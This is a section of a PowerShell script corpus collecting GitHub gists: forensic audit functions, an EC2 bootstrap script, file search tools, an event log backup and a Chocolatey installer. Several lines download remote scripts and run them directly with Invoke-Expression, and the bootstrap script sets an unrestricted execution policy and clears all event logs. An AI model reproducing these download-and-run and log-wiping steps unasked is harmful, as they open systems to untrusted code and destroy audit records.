$UserProps.Add('SAMAccount', "$($_.properties.samaccountname)") $UserProps.Add('DN', "$($_.properties.distinguishedname)") $UserProps.Add('Created', [dateTime]"$($_.properties.whencreated)") $UserProps.Add('LastModified', [dateTime]"$($_.properties.whenchanged)") $UserProps.Add('PasswordLastSet', [dateTime]::FromFileTime("$($_.properties.pwdlastset)")) $UserProps.Add('LastLogon', [dateTime]::FromFileTime("$($_.properties.lastlogon)")) $UserProps.Add('SID', "$(&{$sidobj = [byte[]]"$($_.Properties.objectsid)".split(" ");$sid = new-object System.Security.Principal.SecurityIdentifier $sidobj, 0; $sid.Value})") $UserProps.Add('LastKnownParent', "$($_.properties.lastknownparent)") [pscustomobject]$UserProps } } } function Get-AuditInstallSoftware { [CmdletBinding()] Param( [Parameter(Mandatory=$false)] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [string]$ComputerName = $env:COMPUTERNAME ) begin { } Process { # Set initial values $reg = Get-WmiObject -List "StdRegprov" -ComputerName $computername -Credential $Credential $x86SoftInstallKey = "Software\Microsoft\Windows\CurrentVersion\Uninstall" $x64SoftInstallkey = "Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall" $data = $reg.EnumKey(2147483650,$x86SoftInstallKey) if ($data.ReturnValue -eq 0) { $x86keys = $data.snames $HKSoftKeys = $reg.EnumKey(2147483650,"SOFTWARE").snames if ($HKSoftKeys -contains "Wow6432Node") { $x64keys = $reg.EnumKey(2147483650,$x64SoftInstallkey).snames } } else { Write-Error "Failed to connect to remote server vial WMI to pull registry information" return } $x86keys | foreach { $sName = ($reg.GetStringValue(2147483650, "$x86SoftInstallKey\$($_)", 'DisplayName')).svalue if ($sName) { $sVersion = ($reg.GetStringValue(2147483650, "$x86SoftInstallKey\$($_)", 'DisplayVersion')).svalue $sInstallDate = ($reg.GetStringValue(2147483650, "$x86SoftInstallKey\$($_)", 'InstallDate')).svalue $sPublisher = ($reg.GetStringValue(2147483650, "$x86SoftInstallKey\$($_)", 'Publisher')).svalue $SoftProps = [ordered]@{Name = $sName; Version = $sVersion; Publisher = $sPublisher; InstallDate = $sInstallDate; PSComputerName = $ComputerName} [pscustomobject]$SoftProps } } if ($x64keys) { $x64keys | foreach { $sName = ($reg.GetStringValue(2147483650, "$x64SoftInstallkey\$($_)", 'DisplayName')).svalue if ($sName) { $sVersion = ($reg.GetStringValue(2147483650, "$x64SoftInstallkey\$($_)", 'DisplayVersion')).svalue $sInstallDate = ($reg.GetStringValue(2147483650, "$x64SoftInstallkey\$($_)", 'InstallDate')).svalue $sPublisher = ($reg.GetStringValue(2147483650, "$x64SoftInstallkey\$($_)", 'Publisher')).svalue $SoftProps = [ordered]@{Name = $sName; Version = $sVersion; Publisher = $sPublisher; InstallDate = $sInstallDate; PSComputerName = $ComputerName} [pscustomobject]$SoftProps } } } } End { } } function Get-AuditPrefechList { [CmdletBinding()] Param( [Parameter(Mandatory=$false)] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [string]$ComputerName = $env:COMPUTERNAME ) $winInfo = (Get-WmiObject -query "SELECT WindowsDirectory from Win32_OperatingSystem" -ComputerName $ComputerName -Credential $Credential).WindowsDirectory.split("\") if ($winInfo) { $pfquery = "SELECT Caption,CreationDate,LastAccessed,LastModified FROM CIM_DataFile WHERE Drive = '$($winInfo[0])' and Path = '\\$($winInfo[1])\\prefetch\\' AND Extension = 'pf'" if ($pfquery) { Get-WmiObject -Query $pfquery -ComputerName $ComputerName -Credential $Credential | ForEach-Object { $pfprops = [ordered]@{ Filename = $_.Caption CreationDate = $_.ConvertToDateTime($_.CreationDate) LastAccessed = $_.ConvertToDateTime($_.LastAccessed) LastModified = $_.ConvertToDateTime($_.LastModified) } [pscustomobject]$pfprops } } else { Write-Warning "Could not find pf files in the prefetch folder." } } else { Write-Warning "Could not connect to WMI on the remote system." } } <# .SYSNOPSIS Retrieves the timestamps for a given file. .DESCRIPTION Retrieves the timestamps for a given file. This not only shows the LastAccess, LastWrite and Creation timestamps, but also shows the Entrie Modified timestamp, which is not viewable just by looking at the properties of a file. .PARAMETER File Name of the file to get timestamps from. .NOTES Name: Get-AuditFileTimeStamp Author: Boe Prox DateCreated: 26 Feb 2013 DateModified: 26 Feb 2013 Version: 1.0 - Initial Creation .LINK http://learn-powershell.net .INPUTS System.String .OUPUTS None .EXAMPLE Get-AuditFileTimeStamp -File 'SystemError.txt' CreationDate : 2/13/2013 7:56:13 AM EntrieModifiedTime : 2/26/2013 8:49:28 AM ModifiedTime : 2/13/2013 7:56:13 AM AccessTime : 2/26/2013 8:48:00 AM FileName : C:\users\Administrator\desktop\SystemError.txt Description ----------- Displays all timestamps for the file SystemError.txt #> Function Get-AuditFileTimeStamp { [cmdletbinding()] Param ( [parameter(ValueFromPipeline = $True)] [string[]]$File ) Begin { #region Debug Information $PSBoundParameters.GetEnumerator() | ForEach { Write-Verbose ("{0}" -f $_) } Write-Verbose ("Using ParameterSetName: {0}" -f $PSCmdlet.ParameterSetName) #endregion Debug Information #region Create reference variables $creationTime = (Get-Date) $lastAccessTime = (Get-Date) $lastWriteTime = (Get-Date) $changeTime = (Get-Date) $errorMsg = $null #endregion Create reference variables } Process { #region Check file name ForEach ($item in $File) { If (-Not ([uri]$item).IsAbsoluteUri) { Write-Verbose ("{0} is not a full path, using current directory: {1}" -f $item,$pwd) $item = (Join-Path $pwd ($item -replace "\.\\","")) } #endregion Check file name #region Get file timestamps $return = [NT]::GetFourFileTimes($item, [ref]$creationTime, [ref]$lastAccessTime, [ref]$lastWriteTime, [ref]$changeTime, [ref]$errorMsg ) If ($return) { If (-Not $errorMsg) { $object = New-Object PSObject -Property @{ FileName = $item CreationDate = $creationTime ModifiedTime = $lastWriteTime AccessTime = $lastAccessTime EntrieModifiedTime = $changeTime } $object.pstypenames.insert(0,'System.File.TimeStamp') Write-Output $object } Else { Write-Warning ("{0}" -f $errorMsg) } } Else { Write-Warning ("An issue occurred querying the timestamp!") } } #endregion Get file timestamps } End {} } <# .SYNOPSIS Retrieves the last write time of the supplied registry key .DESCRIPTION The Registry data that a hive stores in containers are called cells. A cell can hold a key, a value, a security descriptor, a list of subkeys, or a list of key values. Get-RegKeyLastWriteTime retrieves the LastWriteTime through a pointer to the FILETIME structure that receives the time at which the enumerated subkey was last written. Values do not contain a LastWriteTime property, but changes to child values update the parent keys lpftLastWriteTime. The LastWriteTime is updated when a key is created, modified, accessed, or deleted. .PARAMETER ComputerName Computer name to query .PARAMETER Key Root Key to query HKCR - Symbolic link to HKEY_LOCAL_MACHINE \SOFTWARE \Classes. HKCU - Symbolic link to a key under HKEY_USERS representing a user's profile hive. HKLM - Placeholder with no corresponding physical hive. This key contains other keys that are hives. HKU - Placeholder that contains the user-profile hives of logged-on accounts. HKCC - Symbolic link to the key of the current hardware profile .PARAMETER SubKey Registry Key to query .EXAMPLE Get-AuditRegKeyLastWriteTime -ComputerName testwks -Key HKLM -SubKey Software .EXAMPLE Get-AuditRegKeyLastWriteTime -ComputerName testwks1,testwks2 -SubKey Software .EXAMPLE Get-AuditRegKeyLastWriteTime -SubKey Software\Microsoft .EXAMPLE "testwks1","testwks2" | Get-RegKeyLastWriteTime -SubKey Software\Microsoft ` \Windows\CurrentVersion .NOTES NAME: Get-RegKeyLastWriteTime AUTHOR: Shaun Hess VERSION: 1.0 LASTEDIT: 01JUL2011 LICENSE: Creative Commons Attribution 3.0 Unported License (http://creativecommons.org/licenses/by/3.0/) .LINK http://www.shaunhess.com #> function Get-AuditRegKeyLastWriteTime { [CmdletBinding()] param( [parameter( ValueFromPipeline=$true, ValueFromPipelineByPropertyName=$true)] [Alias("CN","__SERVER","Computer","CNAME")] [string[]]$ComputerName=$env:ComputerName, [string]$Key = "HKLM", [string]$SubKey ) BEGIN { switch ($Key) { "HKCR" { $searchKey = 0x80000000} #HK Classes Root "HKCU" { $searchKey = 0x80000001} #HK Current User "HKLM" { $searchKey = 0x80000002} #HK Local Machine "HKU" { $searchKey = 0x80000003} #HK Users "HKCC" { $searchKey = 0x80000005} #HK Current Config default { "Invalid Key. Use one of the following options: HKCR, HKCU, HKLM, HKU, HKCC"} } $KEYQUERYVALUE = 0x1 $KEYREAD = 0x19 $KEYALLACCESS = 0x3F } PROCESS { foreach($computer in $ComputerName) { $sig0 = @' [DllImport("advapi32.dll", SetLastError = true)] public static extern int RegConnectRegistry( string lpMachineName, int hkey, ref int phkResult); '@ $type0 = Add-Type -MemberDefinition $sig0 -Name Win32Utils -Namespace RegConnectRegistry -Using System.Text -PassThru $sig1 = @' [DllImport("advapi32.dll", CharSet = CharSet.Auto)] public static extern int RegOpenKeyEx( int hKey, string subKey, int ulOptions, int samDesired, out int hkResult); '@ $type1 = Add-Type -MemberDefinition $sig1 -Name Win32Utils -Namespace RegOpenKeyEx -Using System.Text -PassThru $sig2 = @' [DllImport("advapi32.dll", EntryPoint = "RegEnumKeyEx")] extern public static int RegEnumKeyEx( int hkey, int index, StringBuilder lpName, ref int lpcbName, int reserved, int lpClass, int lpcbClass, out long lpftLastWriteTime); '@ $type2 = Add-Type -MemberDefinition $sig2 -Name Win32Utils -Namespace RegEnumKeyEx -Using System.Text -PassThru $sig3 = @' [DllImport("advapi32.dll", SetLastError=true)] public static extern int RegCloseKey( int hKey); '@ $type3 = Add-Type -MemberDefinition $sig3 -Name Win32Utils -Namespace RegCloseKey -Using System.Text -PassThru $hKey = new-object int $hKeyref = new-object int $searchKeyRemote = $type0::RegConnectRegistry($computer, $searchKey, ` [ref]$hKey) $result = $type1::RegOpenKeyEx($hKey, $SubKey, 0, $KEYREAD, ` [ref]$hKeyref) #initialize variables $builder = New-Object System.Text.StringBuilder 1024 $index = 0 $length = [int] 1024 $time = New-Object Long #234 means more info, 0 means success. Either way, keep reading while ( 0,234 -contains $type2::RegEnumKeyEx($hKeyref, $index++, $builder, [ref] $length, $null, $null, $null, [ref] $time) ) { #create output object $o = "" | Select Key, LastWriteTime, ComputerName $o.ComputerName = "$computer" $o.Key = $builder.ToString() # TODO Change to use the time api $o.LastWriteTime = (Get-Date $time).AddYears(1600).AddHours(-4) $o #reinitialize for next time through the loop $length = [int] 1024 $builder = New-Object System.Text.StringBuilder 1024 } $result = $type3::RegCloseKey($hKey); } } }
PowerShellCorpus/GithubGist/smasterson_9141598_raw_a2a50ef8d8596b8fdaee3f06f503aa1ffee038f0_FindScript.ps1
smasterson_9141598_raw_a2a50ef8d8596b8fdaee3f06f503aa1ffee038f0_FindScript.ps1
function Find-Script { param ( [Parameter(Mandatory=$true)] [string]$Keyword ) # Max results returned $Maximum = 20 # Path to scripts directory $StartPath = "E:\scripts" Get-ChildItem -Path $StartPath -Filter *.ps1 -Recurse -ErrorAction SilentlyContinue | Select-String -SimpleMatch -Pattern $Keyword -List | Select-Object -Property FileName, Path, Line -First $Maximum | Out-GridView -Title 'Script Files Found' } $keyword = Read-Host "Enter keyword to search for" Find-Script $keyword # Prompt to exit script Write-Host "`n`nPress any key to exit - also closes grid view window..." -fore "Yellow" $x = $host.UI.RawUI.ReadKey("NoEcho,IncludeKeyDown")
PowerShellCorpus/GithubGist/H2so4_8347495_raw_d06e4115d80eed71e45e2efdec4949fb4e741c7e_Bootstrap-EC2-Windows-CloudInit.ps1
H2so4_8347495_raw_d06e4115d80eed71e45e2efdec4949fb4e741c7e_Bootstrap-EC2-Windows-CloudInit.ps1
# Windows AMIs don't have WinRM enabled by default -- this script will enable WinRM # AND install the CloudInit.NET service, 7-zip, curl and .NET 4 if its missing. # Then use the EC2 tools to create a new AMI from the result, and you have a system # that will execute user-data as a PowerShell script after the instance fires up! # This has been tested on Windows 2008 R2 Core x64 and Windows 2008 SP2 x86 AMIs provided # by Amazon # # To run the script, open up a PowerShell prompt as admin # PS> Set-ExecutionPolicy Unrestricted # PS> icm $executioncontext.InvokeCommand.NewScriptBlock((New-Object Net.WebClient).DownloadString('https://raw.github.com/gist/1672426/Bootstrap-EC2-Windows-CloudInit.ps1')) # Alternatively pass the new admin password and encryption password in the argument list (in that order) # PS> icm $executioncontext.InvokeCommand.NewScriptBlock((New-Object Net.WebClient).DownloadString('https://raw.github.com/gist/1672426/Bootstrap-EC2-Windows-CloudInit.ps1')) -ArgumentList "adminPassword cloudIntEncryptionPassword" # The script will prompt for a a new admin password and CloudInit password to use for encryption param( [Parameter(Mandatory=$true)] [string] $AdminPassword, [Parameter(Mandatory=$true)] [string] $CloudInitEncryptionPassword ) Start-Transcript -Path 'c:\bootstrap-transcript.txt' -Force Set-StrictMode -Version Latest Set-ExecutionPolicy Unrestricted $log = 'c:\Bootstrap.txt' while (($AdminPassword -eq $null) -or ($AdminPassword -eq '')) { $AdminPassword = [Runtime.InteropServices.Marshal]::PtrToStringAuto([Runtime.InteropServices.Marshal]::SecureStringToBSTR((Read-Host "Enter a non-null / non-empty Administrator password" -AsSecureString))) } while (($CloudInitEncryptionPassword -eq $null) -or ($CloudInitEncryptionPassword -eq '')) { $CloudInitEncryptionPassword= [Runtime.InteropServices.Marshal]::PtrToStringAuto([Runtime.InteropServices.Marshal]::SecureStringToBSTR((Read-Host "Enter a non-null / non-empty password to use for encrypting CloudInit.NET scripts" -AsSecureString))) } Import-Module BitsTransfer $systemPath = [Environment]::GetFolderPath([Environment+SpecialFolder]::System) $sysNative = [IO.Path]::Combine($env:windir, "sysnative") #http://blogs.msdn.com/b/david.wang/archive/2006/03/26/howto-detect-process-bitness.aspx $Is32Bit = (($Env:PROCESSOR_ARCHITECTURE -eq 'x86') -and ($Env:PROCESSOR_ARCHITEW6432 -eq $null)) Add-Content $log -value "Is 32-bit [$Is32Bit]" #http://msdn.microsoft.com/en-us/library/ms724358.aspx $coreEditions = @(0x0c,0x27,0x0e,0x29,0x2a,0x0d,0x28,0x1d) $IsCore = $coreEditions -contains (Get-WmiObject -Query "Select OperatingSystemSKU from Win32_OperatingSystem" | Select -ExpandProperty OperatingSystemSKU) Add-Content $log -value "Is Core [$IsCore]" cd $Env:USERPROFILE #change admin password net user Administrator $AdminPassword Add-Content $log -value "Changed Administrator password" #.net 4 if ((Test-Path "${Env:windir}\Microsoft.NET\Framework\v4.0.30319") -eq $false) { $netUrl = if ($IsCore) {'http://download.microsoft.com/download/3/6/1/361DAE4E-E5B9-4824-B47F-6421A6C59227/dotNetFx40_Full_x86_x64_SC.exe' } ` else { 'http://download.microsoft.com/download/9/5/A/95A9616B-7A37-4AF6-BC36-D6EA96C8DAAE/dotNetFx40_Full_x86_x64.exe' } Start-BitsTransfer $netUrl dotNetFx40_Full.exe Start-Process -FilePath 'dotNetFx40_Full.exe' -ArgumentList '/norestart /q /ChainingPackage ADMINDEPLOYMENT' -Wait -NoNewWindow del dotNetFx40_Full.exe Add-Content $log -value "Found that .NET4 was not installed and downloaded / installed" } #configure powershell to use .net 4 $config = @' <?xml version="1.0" encoding="utf-8" ?> <configuration> <!-- http://msdn.microsoft.com/en-us/library/w4atty68.aspx --> <startup useLegacyV2RuntimeActivationPolicy="true"> <supportedRuntime version="v4.0" /> <supportedRuntime version="v2.0.50727" /> </startup> </configuration> '@ if (Test-Path "${Env:windir}\SysWOW64\WindowsPowerShell\v1.0\powershell.exe") { $config | Set-Content "${Env:windir}\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config" Add-Content $log -value "Configured 32-bit Powershell on x64 OS to use .NET 4" } if (Test-Path "${Env:windir}\system32\WindowsPowerShell\v1.0\powershell.exe") { $config | Set-Content "${Env:windir}\system32\WindowsPowerShell\v1.0\powershell.exe.config" Add-Content $log -value "Configured host OS specific Powershell at ${Env:windir}\system32\ to use .NET 4" } #winrm if ($Is32Bit) { #this really only applies to oses older than 2008 SP2 or 2008 R2 or Win7 #this uri is Windows 2008 x86 - powershell 2.0 and winrm 2.0 #Start-BitsTransfer 'http://www.microsoft.com/downloads/info.aspx?na=41&srcfamilyid=863e7d01-fb1b-4d3e-b07d-766a0a2def0b&srcdisplaylang=en&u=http%3a%2f%2fdownload.microsoft.com%2fdownload%2fF%2f9%2fE%2fF9EF6ACB-2BA8-4845-9C10-85FC4A69B207%2fWindows6.0-KB968930-x86.msu' Windows6.0-KB968930-x86.msu #Start-Process -FilePath "wusa.exe" -ArgumentList 'Windows6.0-KB968930-x86.msu /norestart /quiet' -Wait #Add-Content $log -value "" } #check winrm id, if it's not valid and LocalAccountTokenFilterPolicy isn't established, do it $id = &winrm id if (($id -eq $null) -and (Get-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -name LocalAccountTokenFilterPolicy -ErrorAction SilentlyContinue) -eq $null) { New-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -name LocalAccountTokenFilterPolicy -value 1 -propertyType dword Add-Content $log -value "Added LocalAccountTokenFilterPolicy since winrm id could not be executed" } #enable powershell servermanager cmdlets (only for 2008 r2 + above) if ($IsCore) { DISM /Online /Enable-Feature /FeatureName:MicrosoftWindowsPowerShell /FeatureName:ServerManager-PSH-Cmdlets /FeatureName:BestPractices-PSH-Cmdlets Add-Content $log -value "Enabled ServerManager and BestPractices Cmdlets" #enable .NET flavors - on server core only -- errors on regular 2008 DISM /Online /Enable-Feature /FeatureName:NetFx2-ServerCore /FeatureName:NetFx2-ServerCore-WOW64 /FeatureName:NetFx3-ServerCore /FeatureName:NetFx3-ServerCore-WOW64 Add-Content $log -value "Enabled .NET frameworks 2 and 3 for x86 and x64" } #7zip $7zUri = if ($Is32Bit) { 'http://sourceforge.net/projects/sevenzip/files/7-Zip/9.22/7z922.msi/download' } ` else { 'http://sourceforge.net/projects/sevenzip/files/7-Zip/9.22/7z922-x64.msi/download' } Start-BitsTransfer $7zUri 7z922.msi Start-Process -FilePath "msiexec.exe" -ArgumentList '/i 7z922.msi /norestart /q INSTALLDIR="c:\program files\7-zip"' -Wait SetX Path "${Env:Path};C:\Program Files\7-zip" /m $Env:Path += ';C:\Program Files\7-Zip' del 7z922.msi Add-Content $log -value "Installed 7-zip from $7zUri and updated path" #vc 2010 redstributable $vcredist = if ($Is32Bit) { 'http://download.microsoft.com/download/5/B/C/5BC5DBB3-652D-4DCE-B14A-475AB85EEF6E/vcredist_x86.exe'} ` else { 'http://download.microsoft.com/download/3/2/2/3224B87F-CFA0-4E70-BDA3-3DE650EFEBA5/vcredist_x64.exe' } Start-BitsTransfer $vcredist 'vcredist.exe' Start-Process -FilePath 'vcredist.exe' -ArgumentList '/norestart /q' -Wait del vcredist.exe Add-Content $log -value "Installed VC++ 2010 Redistributable from $vcredist and updated path" #vc 2008 redstributable $vcredist = if ($Is32Bit) { 'http://download.microsoft.com/download/d/d/9/dd9a82d0-52ef-40db-8dab-795376989c03/vcredist_x86.exe'} ` else { 'http://download.microsoft.com/download/d/2/4/d242c3fb-da5a-4542-ad66-f9661d0a8d19/vcredist_x64.exe' } Start-BitsTransfer $vcredist 'vcredist.exe' Start-Process -FilePath 'vcredist.exe' -ArgumentList '/norestart /q' -Wait del vcredist.exe Add-Content $log -value "Installed VC++ 2008 Redistributable from $vcredist and updated path" #curl $curlUri = if ($Is32Bit) { 'http://www.paehl.com/open_source/?download=curl_724_0_ssl.zip' } ` else { 'http://curl.haxx.se/download/curl-7.23.1-win64-ssl-sspi.zip' } Start-BitsTransfer $curlUri curl.zip &7z e curl.zip `-o`"c:\program files\curl`" if ($Is32Bit) { Start-BitsTransfer 'http://www.paehl.com/open_source/?download=libssl.zip' libssl.zip &7z e libssl.zip `-o`"c:\program files\curl`" del libssl.zip } SetX Path "${Env:Path};C:\Program Files\Curl" /m $Env:Path += ';C:\Program Files\Curl' del curl.zip Add-Content $log -value "Installed Curl from $curlUri and updated path" #vim curl -# -G -k -L ftp://ftp.vim.org/pub/vim/pc/vim73_46rt.zip -o vim73_46rt.zip 2>&1 > "$log" curl -# -G -k -L ftp://ftp.vim.org/pub/vim/pc/vim73_46w32.zip -o vim73_46w32.zip 2>&1 > "$log" Get-ChildItem -Filter vim73*.zip | % { &7z x `"$($_.FullName)`"; del $_.FullName; } SetX Path "${Env:Path};C:\Program Files\Vim" /m $Env:Path += ';C:\Program Files\Vim' Move-Item .\vim\vim73 -Destination "${Env:ProgramFiles}\Vim" Add-Content $log -value "Installed Vim text editor and updated path" #cloudinit.net curl http://cloudinitnet.codeplex.com/releases/83697/download/351123 `-L `-d `'`' `-o cloudinit.zip &7z e cloudinit.zip `-o`"c:\program files\CloudInit.NET`" del cloudinit.zip Add-Content $log -value 'Downloaded / extracted CloudInit.NET' $configFile = 'c:\program files\cloudinit.net\install-service.ps1' (Get-Content $configFile) | % { $_ -replace "3e3e2d3848336b7d3b547b2b55",$CloudInitEncryptionPassword } | Set-Content $configFile cd 'c:\program files\cloudinit.net' . .\install.ps1 Start-Service CloudInit Add-Content $log -value "Updated config file with CloudInit encryption password and ran installation scrpit" #chocolatey - standard one line installer doesn't work on Core b/c Shell.Application can't unzip if (-not $IsCore) { Invoke-Expression ((new-object net.webclient).DownloadString('http://bit.ly/psChocInstall')) } else { $tempDir = Join-Path $env:TEMP "chocInstall" if (![System.IO.Directory]::Exists($tempDir)) {[System.IO.Directory]::CreateDirectory($tempDir)} $file = Join-Path $tempDir "chocolatey.zip" (new-object System.Net.WebClient).DownloadFile("http://chocolatey.org/api/v1/package/chocolatey", $file) &7z x $file `-o`"$tempDir`" Add-Content $log -value 'Extracted Chocolatey' $chocInstallPS1 = Join-Path (Join-Path $tempDir 'tools') 'chocolateyInstall.ps1' & $chocInstallPS1 Add-Content $log -value 'Installed Chocolatey / Verifying Paths' [Environment]::SetEnvironmentVariable('ChocolateyInstall', 'c:\nuget', [System.EnvironmentVariableTarget]::User) if ($($env:Path).ToLower().Contains('c:\nuget\bin') -eq $false) { $env:Path = [Environment]::GetEnvironmentVariable('Path', [System.EnvironmentVariableTarget]::Machine); } Import-Module -Name 'c:\nuget\chocolateyInstall\helpers\chocolateyinstaller.psm1' & C:\NuGet\chocolateyInstall\chocolatey.ps1 update Add-Content $log -value 'Updated chocolatey to the latest version' [Environment]::SetEnvironmentVariable('Chocolatey_Bin_Root', '\tools', 'Machine') $Env:Chocolatey_bin_root = '\tools' } Add-Content $log -value "Installed Chocolatey" #this script will be fired off after the reboot #http://www.codeproject.com/Articles/223002/Reboot-and-Resume-PowerShell-Script @' $log = 'c:\Bootstrap.txt' $systemPath = [Environment]::GetFolderPath([Environment+SpecialFolder]::System) Remove-ItemProperty -path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run -name 'Restart-And-Resume' &winrm quickconfig `-q Add-Content $log -value "Ran quickconfig for winrm" #run SMRemoting script to enable event log management, etc - available only on R2 $remotingScript = [IO.Path]::Combine($systemPath, 'Configure-SMRemoting.ps1') if (-not (Test-Path $remotingScript)) { $remotingScript = [IO.Path]::Combine($sysNative, 'Configure-SMRemoting.ps1') } Add-Content $log -value "Found Remoting Script: [$(Test-Path $remotingScript)] at $remotingScript" if (Test-Path $remotingScript) { . $remotingScript -force -enable Add-Content $log -value 'Ran Configure-SMRemoting.ps1' } #wait 15 seconds for CloudInit Service to start / fail Start-Sleep -m 15000 #clear event log and any cloudinit logs wevtutil el | % {Write-Host "Clearing $_"; wevtutil cl "$_"} del 'c:\cloudinit.log' -ErrorAction SilentlyContinue del 'c:\afterRebootScript.ps1' -ErrorAction SilentlyContinue '@ | Set-Content 'c:\afterRebootScript.ps1' Set-ItemProperty -path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run -name 'Restart-And-Resume' ` -value "$(Join-Path $env:windir 'system32\WindowsPowerShell\v1.0\powershell.exe') c:\afterRebootScript.ps1" Write-Host "Press any key to reboot and finish image configuration" [void]$host.UI.RawUI.ReadKey('NoEcho,IncludeKeyDown') Restart-Computer
PowerShellCorpus/GithubGist/bill-long_10596271_raw_87bf501c47e27276c28230c6c9e943ce30189a80_RegexFileSearch.ps1
bill-long_10596271_raw_87bf501c47e27276c28230c6c9e943ce30189a80_RegexFileSearch.ps1
param( [Parameter(Position=0, Mandatory=$true)] [string] $Pattern, [Parameter(Position=1, Mandatory=$false)] [string] $File, [Parameter(Mandatory=$false)] [string] $Directory, [Parameter(Mandatory=$false)] [string] $FileFilter, [Parameter(Mandatory=$false)] [switch] $Recurse = $false ) if ($File.Length -gt 0) { # If you specify one file, you can't specify Directory or FileFilter if ($Directory.Length -gt 0 -or $FileFilter.Length -gt 0 -or $Recurse -eq $true) { "Invalid syntax." return } } else { # If you don't specify a file, you MUST specify Directory AND FileFilter if ($Directory.Length -lt 1 -or $FileFilter.Length -lt 1) { "Invalid syntax." return } } function SearchFile([string] $file, [bool] $displayFileName) { $reader = New-Object System.IO.StreamReader($file) if ($reader -eq $null) { return } while ($null -ne ($buffer = $reader.ReadLine())) { if ($regex.IsMatch($buffer)) { if ($displayFileName) { $file + ": " + $buffer } else { $buffer } } } $reader.Close() } $regex = New-Object System.Text.RegularExpressions.Regex($Pattern) if ($File) { SearchFile $File $false } else { if ($Recurse) { $files = Get-ChildItem $Directory $FileFilter -Recurse } else { $files = Get-ChildItem $Directory $FileFilter } foreach ($oneFile in $files) { if (!($oneFile.PSIsContainer)) { SearchFile $oneFile.FullName $true } } }
PowerShellCorpus/GithubGist/mortenya_5eda2bdd88eb8b166ae5_raw_c8d42b69974a72452e608148775f05a3594502d2_Backup-SecurityEventLog.ps1
mortenya_5eda2bdd88eb8b166ae5_raw_c8d42b69974a72452e608148775f05a3594502d2_Backup-SecurityEventLog.ps1
# Function to zip the archived log, requires .NET 4.5 function zipFiles($sourceDir, $zipFileName) { Add-Type -Assembly System.IO.Compression.FileSystem $compressionLevel = [System.IO.Compression.CompressionLevel]::Optimal [System.IO.Compression.ZipFile]::CreateFromDirectory($sourceDir, $zipFileName, $compressionLevel, $false) } # Function to zip the archived log, requires 7zip (has command line version) function create-7zip([String] $sourceDir, [String] $zipFileName) { [string]$pathToZipExe = "$($Env:ProgramFiles)\7-Zip\7z.exe"; [Array]$arguments = "a", "-tzip", "$zipFileName", "$sourceDir", "-r"; & $pathToZipExe $arguments; } # Get the Security Event Log into an Object $sEvents = Get-WmiObject -Class Win32_NTEventlogFile | where { $_.LogfileName -eq 'Security' } # Test for Backup directory, create it if it doesn't exist $backupDir = "C:\evt-backup\{0}_Security_{1:MM-dd-yyyy}"-f $env:COMPUTERNAME,[datetime]::Now if (-not (Test-Path $backupDir)) { New-Item -Path $backupDir -ItemType Directory | Out-Null } # Build the Backup file name $file = "{0}_Security_{1:MM-dd-yyyy}.evt" -f $env:COMPUTERNAME,[datetime]::Now # Full path for log backup $path = "$backupDir\$file" # Arguements for zip file creation $zipFileName = "$backupDir.zip" $sourceDir = "$backupDir" # Do the Backup and capture the returnvalue to chek for errors $errBackup = ($sEvents.BackupEventlog($path)).ReturnValue # If the backup is successfull, clear the log and verify ReturnValue for success if ($errBackup -eq 0) { Write-Verbose "Security log successfully archived" <# $errClear = ($sEvents.ClearEventlog()).ReturnValue if ($errClear -eq 0) { Write-Verbose "Security log successfully cleared" } #> } else { Write-Verbose "Backup failed with return code $errBackup" } #zipFiles $sourceDir $zipFileName #create-7zip $sourceDir $zipFileName
PowerShellCorpus/GithubGist/premsh_5391695_raw_d891c78a36beea8cc92e69c78857df85b3f9fff6_udpateSharePointSolution.ps1
premsh_5391695_raw_d891c78a36beea8cc92e69c78857df85b3f9fff6_udpateSharePointSolution.ps1
$solutionPackageName = "name.wsp" $SolutoinPackagePath = "path\name.wsp" Update-SPSolution -Identity $SolutionPackageName -LiteralPath $SolutionPackagePath -Local -GACDeployment
PowerShellCorpus/GithubGist/GhostTW_647a888e245a1969e33c_raw_8795cd18143e321aaf8b56e60f06e264d1c2c040_win_autoinstall_chocolatey.ps1
GhostTW_647a888e245a1969e33c_raw_8795cd18143e321aaf8b56e60f06e264d1c2c040_win_autoinstall_chocolatey.ps1
######################### # Autoinstall script using chocolatey ######################### # Note: Net 4.0 must be installed prior to running this script # #Modify this line to change packages $items = @("GoogleChrome", "thunderbird", "skype", "vlc", "quicktime", "flashplayerplugin", "javaruntime", "DotNet4.5", "utorrent", "dropbox", "Teracopy", "7zip.install", "python", "eclipse-java-juno", "notepadplusplus.install", "git.install", "ccleaner", "evernote", "GitHub", "keepass.install", "line", "nmap", "procexp", "tortoisesvn", "avgantivirusfree", "windirstat", "rufus.portable", "Volume2") ################# # Create packages.config based on passed arguments ################# $xml = '<?xml version="1.0" encoding="utf-8"?>'+ "`n" +'<packages>' + "`n" foreach ($item in $items) { $xml += "`t" +'<package id="' + $item + '"/>' + "`n" } $xml += '</packages>' $file = ([system.environment]::getenvironmentvariable("userprofile") + "\packages.config") $xml | out-File $file #### # Install chocolatey # (delete it if error occur) #### iex ((new-object net.webclient).DownloadString('https://chocolatey.org/install.ps1')) ###### # Install packages with cinst ###### cinst $file ######## # Delete packages.config Remove-Item $file
PowerShellCorpus/GithubGist/guitarrapc_e74d19526d94c6db3577_raw_b8a5b9d3651acece55b43c229b01339406a03e68_continue.ps1
guitarrapc_e74d19526d94c6db3577_raw_b8a5b9d3651acece55b43c229b01339406a03e68_continue.ps1
1..3 | %{ $_ continue $_ } <# 1 #> foreach ($x in (1..3)) { $x continue $x } <# 1 2 3 #>
PowerShellCorpus/GithubGist/obsidience_9946855_raw_71a4cab66c2c9e1617f2b0dba1e9ed2657e7b1f3_Fix-InvalidDates.ps1
obsidience_9946855_raw_71a4cab66c2c9e1617f2b0dba1e9ed2657e7b1f3_Fix-InvalidDates.ps1
